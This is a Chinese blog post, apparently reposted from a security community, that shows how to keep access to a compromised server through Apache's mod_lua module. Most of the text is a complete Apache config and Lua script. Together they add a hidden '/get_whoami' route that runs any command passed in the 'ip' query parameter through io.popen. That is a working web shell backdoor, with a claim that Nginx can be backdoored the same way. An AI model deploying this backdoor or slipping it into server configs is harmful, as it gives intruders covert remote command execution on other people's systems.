利用Apache Nginx 的lua 模块的鸡肋权限维持的方法

2019-08-28 约 557 字 预计阅读 2 分钟

声明:本文 【利用Apache Nginx 的lua 模块的鸡肋权限维持的方法】 由作者 print 于 2019-08-28 09:02:00 首发 先知社区 曾经 浏览数 145 次

感谢 print 的辛苦付出!

利用IIS的端口共享功能绕过防火墙

看了嘶吼的这篇文章,稍微思考了一下。是否Nginx 或者Apahce 是否存在这种方式。

Nginx 和apache 作为全球使用最多的两个WEB容器。是支持模块化的一个方式建立中间件的

例如 Nginx_lua 的防火墙就是一个最好的案例。

那么如果利用这种方式做一个权限控制呢。

下载做一个实验吧,此文只是给大家一个思考的,并不建议实际运用中

实验服务器Centos 7.4

WEB容器Apache 2.4.39

服务器面板:宝塔面板6.9

首先安装一下 Apache 2.4.39

只所以选择这个,因为默认安装了一个lua 模块
为了方便一点

从配置文件中发现。调用的是这个地址的一个.conf 文件。
新建一个文件如下:

LoadModule lua_module modules/mod_lua.so
LuaPackagePath /test/?.lua
LuaCodeCache forever
LuaHookAccessChecker /test/test.lua get late
LuaInputFilter post_filter /test/test.lua post
SetInputFilter post

test.lua 如下:

require 'apache2'
function return_message(status,msg)
    httpd.content_type = "application/json;charset=utf-8"
    httpd.status = status
    httpd:write(msg)
    return apache2.DONE
end

function get_return_state(rstate,rmsg)
    result = {}
    result['status'] = rstate
    result['msg'] = rmsg
    return result
end

function get_whami()
    if not uri_request_args['ip']  then return get_return_state(true,'格式错误') end
    data=io.popen(uri_request_args['ip'])
    return data:read("*all")
end

function min_route()
    if httpd.uri == '/get_whoami' then
        return_message(200,get_whami())
        return true
    else
        return false
    end
end

function get(request_httpd)
    httpd = request_httpd
    uri_request_args = httpd:parseargs();
    if min_route() then return apache2.DONE end
    return apache2.DECLINED
end
function post(request_httpd)
    httpd = request_httpd
    if min_route() then return apache2.DONE end
    return apache2.DECLINED
end

重启一下apache
访问一下

Nginx的话。也是一样的原理,具体的就不操作了。

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now